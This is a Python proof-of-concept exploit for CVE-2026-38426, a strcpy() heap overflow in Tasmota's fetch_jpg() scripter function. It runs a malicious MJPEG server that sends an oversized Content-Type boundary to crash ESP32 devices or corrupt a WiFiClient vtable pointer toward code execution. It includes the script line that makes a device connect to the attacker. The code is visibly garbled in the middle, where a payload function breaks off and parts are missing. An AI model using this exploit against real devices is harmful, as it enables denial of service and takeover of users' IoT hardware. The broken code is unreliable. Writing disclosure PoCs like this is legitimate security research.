#!/usr/bin/env python3 """ PoC: CVE-2026-38426 Target: Tasmota <= 15.3.0.3 File: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino Function: fetch_jpg() case 0 Vulnerability: char boundary[40] — fixed 40-byte buffer in jpg_task struct. Server's Content-Type header value after '=' is copied via strcpy() with NO length validation: String boundary = http.header("Content-Type"); char *cp = strchr(boundary.c_str(), '='); if (cp) { strcpy(glob_script_mem.jpg_task.boundary, cp + 1); // VULNERABLE } Attack: Attacker controls MJPEG server Tasmota connects to. Sends Content-Type header with boundary > 39 chars. strcpy overflows boundary[40] → corrupts adjacent heap memory. Memory layout (ESP32 heap, approximate): [boundary[40]] [draw] [scale] [xp] [yp] [WiFiClient] [HTTPClient] Overflow corrupts: draw, scale, xp, yp, WiFiClient vtable ptr → RCE Tasmota script to trigger: >D >B fetchjp(ATTACKER_IP:8888/stream,0,0,1) Usage: python3 CVE-2026-38426_poc.py --ip 0.0.0.0 --port 8888 --mode crash python3 CVE-2026-38426_poc.py --ip 0.0.0.0 --port 8888 --mode info Author: Saidakbarxon Maxsudxonov CVE: CVE-2026-38426 """ import socket import argparse import struct import time from datetime import datetime BANNER = """ ╔══════════════════════════════════════════════════════╗ ║ CVE-2026-38426 PoC — Tasmota fetch_jpg() ║ ║ strcpy() Buffer Overflow → boundary[40] ║ ║ Affected: Tasmota <= 15.3.0.3 (ESP32) ║ ╚══════════════════════════════════════════════════════╝ """ def log(msg, level="*"): ts = datetime.now().strftime("%H:%M:%S") print(f"[{ts}] [{level}] {msg}") def build_overflow_boundary(mode): """ boundary[40] is on the heap. Adjacent memory after boundary[40]: +0x28: bool draw (1 byte) +0x29: uint8_t scale (1 byte) +0x2A: uint16_t xp (2 bytes) +0x2C: uint16_t yp (2 bytes) +0x2E: WiFiClient (vtable ptr at offset 0) Overflow 44 bytes: fills boundary + overwrites draw,scale,xp,yp Overflow 48+ bytes: reaches WiFiClient vtable pointer → RCE """ if mode == "info": # 44 bytes: minimal crash — overwrites adjacent fields overflow = b"A" * 44 log("Mode: INFO — 44 byte overflow (adjacent field corruption)", "+") elif mode == "crash": # 64 bytes: guaranteed crash — corrupts WiFiClient object overflow = b"B" * 39 + b"\x00" + b"C" * 24 log("Mode: CRASH — 64 byte overflow (WiFiClient corruption)", "!") else: # Custom: try to overwrite function pointer for RCE demo # ESP32 Xtensa uses little-endian 32-bit pointers # This would need real target analysis for actual RCE overflow = b"A" * 44 + struct.pack("D') log(f' >B') log(f' fetchjp(YOUR_IP:{args.port}/stream,0,0,1)') log("─" * 54) server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind((args.ip, args.port)) server.listen(5) log("Waiting for Tasmota device to connect...", "*") try: while True: conn, addr = server.accept() handle_client(conn, addr, args.mode) except KeyboardInterrupt: log("Server stopped") finally: server.close() if __name__ == "__main__": main()